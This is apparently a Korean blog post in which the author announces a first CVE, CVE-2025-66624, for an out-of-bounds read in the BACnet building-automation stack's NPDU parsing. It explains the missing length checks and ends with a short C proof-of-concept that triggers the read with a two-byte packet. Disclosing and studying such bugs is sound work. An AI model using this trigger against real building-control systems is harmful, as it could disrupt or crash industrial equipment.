Notice
Recent Posts
Recent Comments
Link
«   2026/05   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
Tags
more
Archives
Today
Total
관리 메뉴

Finder

CVE-2025-66624 본문

카테고리 없음

CVE-2025-66624

Finder16 2026. 1. 9. 00:19

BAcnet는에서 저의 첫 cve를 발급받았습니다
BAcnet는 빌딩을 제어하는 산업제어용 프로토콜로 건물 자동화 및 제어 시스템을 위해 사용된다고합니다
해당 버그는 npdu.c의 NPDU 파싱 로직에서 길이 검증 없이 고정 오프셋으로 바이트를 참조하기 때문에 발생합니다
request_pdu[offset+2/3/5] 및 reply_pdu[offset+1/2/4]를 인덱싱을 할때 해당 APDU 바이트가 실제로 존재하는지 검증을 하지않습니다
bacnet_npdu_decode()는 는 2바이트짜리 NPDU에 대해 offset == 2를 반환을 해서 작은 PDU들이 버전 체크를 통과한 뒤 oob read가 발생합니다

#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include "bacnet/npdu.h"

int main(void) {
    /* minimal NPDU: version=1, control=DER flag only */
    uint8_t tiny_pdu[2] = { BACNET_PROTOCOL_VERSION, 0x04 };

    /* addresses/lengths are ignored but match API signature */
    bool ok = npdu_is_data_expecting_reply(
        tiny_pdu, sizeof(tiny_pdu), 1,
        tiny_pdu, sizeof(tiny_pdu), 1);

    printf("npdu_is_data_expecting_reply returned %d\n", ok);
    return 0;
}